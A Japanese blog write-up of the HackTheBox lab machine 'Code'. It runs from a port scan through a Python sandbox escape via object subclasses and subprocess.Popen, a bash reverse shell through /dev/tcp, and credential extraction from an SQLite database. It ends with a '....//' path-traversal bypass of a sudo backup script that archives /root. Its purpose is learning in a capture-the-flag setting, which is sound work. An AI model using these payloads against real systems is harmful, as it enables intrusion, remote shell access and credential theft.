1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup: Code

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Codeです。

Codeでは、Pythonで開発されたアプリケーションのサニタイジングに関する脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-16 22:35 JST
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて5000番ポートにHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-04-16 22.39.33.png

Codeは、ブラウザで直接Python コードを実行可能なPython code editorとして機能するアプリケーションです。

5000番ポートを使用していることからFlaskを使用しているのではないかと推測します。

脆弱性分析

アプリケーションの機能を踏まえて、サニタイジングが適切に行われていない可能性を考えます。

試しにOSモジュールのインポートを試したところ、モジュールのインポートなどは制限されていました。

スクリーンショット 2025-08-02 15.58.26.png

アプリケーションを動かしているPythonを調査するため、以下のようなコードを実行します。

print((()).__class__.__bases__[0].__subclasses__())

全ての結果は出力できていませんが、objectクラスを継承しているクラスに関する情報が確認できました。

スクリーンショット 2025-08-01 23.57.53.png

この中からsubprocess.Popenのインデックスを確認するため、以下のコードを実行したところ、Popenのキーワードは許可されていないことが確認できます。

for i, c in enumerate((()).__class__.__bases__[0].__subclasses__()):
    if c.__name__ == 'Popen':
        print(i, c)

スクリーンショット 2025-08-02 16.10.09.png

少しコードを修正することで、subprocess.Popenのインデックスを知ることができました。

for i, c in enumerate((()).__class__.__bases__[0].__subclasses__()):
    if 'pen' in c.__name__:
        print(i, c)

スクリーンショット 2025-08-02 16.10.32.png

システムハッキング

上記で確認できたsubprocess.Popenを利用して足場を作ります。

アクセスの獲得

Pythonで開発されたWebアプリケーションやインタラクティブなツールでは、エラーが発生した場合に、try...exceptでハンドリングしていない例外をキャッチし、そのままstr(e)で例外オブジェクトをユーザに表示することがあります。

従ってExceptionをそのままレスポンスとして返すことが考えられる場合、任意の出力をアプリケーションに行うことができます。

リスナーを用意した状態で、以下のコードを実行します。

raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
    "bash -c 'bash -i >& /dev/tcp/REDACTED/4444 0>&1'", shell=True, stdout=-1).communicate()))

リバースシェルが取得できました。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.62] 55814
bash: cannot set terminal process group (20960): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ 

ユーザーフラグ

リバースシェル取得後のカレントディレクトリは以下のディレクトリです。

/home/app-production/app

1つ上のディレクトリに移動したところ、ユーザーフラグが確認できました。

total 8
drwxrwxr-x 6 app-production app-production 4096 Aug  1 14:22 app
-rw-r----- 1 root           app-production   33 Aug  1 10:15 user.txt

ルートフラグ

ユーザーフラグは取得できたものの、リバースシェルの状態なため、横展開を行うにあたり他のユーザーの認証情報を探します。

/home/app-production/appディレクトリに戻り、ディレクトリ配下を確認します。

total 24
-rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production 4096 Aug  1 14:47 instance
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__
drwxr-xr-x 3 app-production app-production 4096 Aug 27  2024 static
drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates

instanceディレクトリに移動すると、データベースファイルを発見しました。

total 16
-rw-r--r-- 1 app-production app-production 16384 Aug  1 14:50 database.db

以下のコマンドを実行して、データベースに接続します。

$ sqlite3 database.db

SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> 

テーブル情報を確認します。

sqlite> .tables
code  user

ヘッダーを設定して見やすいように整えます。

sqlite> .header on
sqlite> .mode column

userテーブルを確認したところ、以下のユーザーに関する認証情報が確認できました。

sqlite> SELECT * FROM USER;
id          username     password                        
----------  -----------  --------------------------------
1           development  759b74ce43947f5f4c91aeddc3e5bad3
2           martin       REDACTED

パスワードはMD5でハッシュ化されているため、デコードを行います。
martinユーザーのパスワードを使用して、SSHログインができました。

sudoの設定を確認すると、/usr/bin/backy.shスクリプトが設定されていることが確認できます。

$ sudo -l

Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

/usr/bin/backy.shスクリプトの中身を確認します。

$ cat /usr/bin/backy.sh

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

このスクリプトは、指定されたJSONファイル内のディレクトリパスの検証を行い、安全なものだけをバックアップツールに渡す処理をしています。また、sudoで実行することで、制限されたファイルにアクセスできます。

task.jsonファイルを以下のように修正します。

{
  "destination": "/home/martin/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/var/....//root/"
  ]
}

スクリプトを実行します。

$ sudo /usr/bin/backy.sh backups/task.json

2025/04/16 14:05:37 🍀 backy 1.2  
2025/04/16 14:05:37 📋 Working with backups/task.json ...  
2025/04/16 14:05:37 💤 Nothing to sync  
2025/04/16 14:05:37 📤 Archiving: [/var/../root]  
2025/04/16 14:05:37 📥 To: /home/martin ...  
2025/04/16 14:05:37 📦

destinationで指定したディレクトリにバックアップが作成されたことを確認します。

total 56
drwxr-x--- 6 martin martin  4096 Apr 16 14:05 ./
drwxr-xr-x 4 root   root    4096 Aug 27  2024 ../
drwxr-xr-x 3 martin martin  4096 Apr 16 14:05 backups/
lrwxrwxrwx 1 root   root       9 Aug 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin   220 Aug 27  2024 .bash_logout
-rw-r--r-- 1 martin martin  3771 Aug 27  2024 .bashrc
drwx------ 2 martin martin  4096 Apr 16 14:00 .cache/
-rw-r--r-- 1 root   root     173 Apr 16 13:52 code_home_app-production_user.txt_2025_April.tar.bz2
-rw-r--r-- 1 root   root   12891 Apr 16 14:05 code_var_.._root_2025_April.tar.bz2
drwxrwxr-x 3 martin martin  4096 Apr 16 12:00 .local/
-rw-r--r-- 1 martin martin   807 Aug 27  2024 .profile
lrwxrwxrwx 1 root   root       9 Aug 27  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root   root       9 Aug 27  2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin  4096 Sep 16  2024 .ssh/

以下のコマンドを実行して、バックアップファイルを展開します。

$ tar xvjf code_var_.._root_2025_April.tar.bz2

root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.selected_editor
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc

ルートフラグ確認できます。

martin@code:~$ ll root/root.txt 
-rw-r----- 1 martin martin 33 Apr 16 11:53 root/root.txt

おわりに

ユーザーフラグ及びルートフラグについて、サニタイジング及びバリデーションの重要性について学びました。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?